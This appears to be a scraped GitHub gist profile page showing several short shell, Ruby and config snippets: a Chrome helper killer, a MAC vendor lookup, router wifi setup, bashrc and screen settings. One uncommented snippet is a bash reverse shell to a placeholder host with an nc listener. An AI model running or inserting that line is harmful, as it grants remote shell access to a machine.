Skip to content

Instantly share code, notes, and snippets.

View fernviridian's full-sized avatar

Fern Viridian fernviridian

  • Portland, Oregon
View GitHub Profile
def factorial(count)
fact = 0
if count >= 0
fact = (factorial(count-1))*count
end
if count == 0
fact = 1
end
fact
@fernviridian
fernviridian / fuckuchrome
Created April 20, 2014 08:19
because google chrome helpers suck and love to eat cores
#! /bin/bash
pid=`ps aux | grep "Google Chrome Helper" | awk '{ if ($3>=80) print $2}'`
if [ "$pid" != "" ]; then
kill -9 $pid
else
echo "No Google Chrome helper using more than 80% CPU"
fi
curl -vs http://standards.ieee.org/develop/regauth/oui/oui.txt 2>&1 | grep `ifconfig | grep HWaddr | awk '{print $5}' | sed 's/:/-/g' | cut -c 1-8` | awk '{ print $3}'
#nastyonelineroftheday
#gets you a vendor based on hardware MAC address
/bin/bash -i >& /dev/tcp/internetip/4444 0>&1
other window:
nc -lp 4444
@fernviridian
fernviridian / wifisetup.sh
Created March 18, 2015 20:30
wt3020 wifi setup
SSID="NEXX"
KEY="wpapassphrase" #between 8-63 chars, alphanumeric
#from http://onionwrt.us.to/install
opkg update
# Configure wifi.
mv /etc/config/wireless /etc/config/wireless.bak
wifi detect |grep -v disabled|grep -v REMOVE > /etc/config/wireless
#! /usr/bin/env python
#requires amazon boto package
#pip install boto
#s3 web interface bucket policy PUT THIS IN YOUR BUCKET
bucket_policy="""
{
"Version": "2008-10-17",
# /etc/profile /etc/bash.bashrc $USER/.profile $USER/.bashrc
# Getting confused?
# http://stefaanlippens.net/bashrc_and_others
# this file is sourced on login by $HOME/.profile if you are using
# the standard set of dotfiles
# Building the shell environment
# Looks for an aliases file and uses it if it exists
if [ -f ~/.bash_aliases ] ; then
# THIS IS THE PRETTY BIT
# #change the hardstatus settings to give an window list at the bottom of the
# ##screen, with the time and date and with the current window highlighted
encoding UTF-8
hardstatus alwayslastline
hardstatus string '%{= mK}%-Lw%{= KW}%50>%n%f* %t%{= mK}%+Lw%< %{= kG}%-=%D %d %M %Y %c:%s%{-}'
hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %d/%m %{W}%c %{g}]'

Keybase proof

I hereby claim:

  • I am tgjamin on github.
  • I am tgjamin (https://keybase.io/tgjamin) on keybase.
  • I have a public key ASB8NsnqlzicvTURyUTU2nTfoTMnC6vZsGNaqpzQ2eZsxwo

To claim this, I am signing this object:

@fernviridian
fernviridian / find.sh
Last active January 14, 2017 17:59
find string in files from current directory without git grep
# simple script to find content of files based on extensions
# and a given string
# usage ./find.sh "some string to find in files" .py
# will find all instances where that string was in a file.py
phrase=$1
fileextension=$2
for file in `find $(pwd) -name \*$fileextension -print`; do
if [ -e $file ]; then
cat $file | grep -i "$phrase";
if [ $? -eq 0 ]; then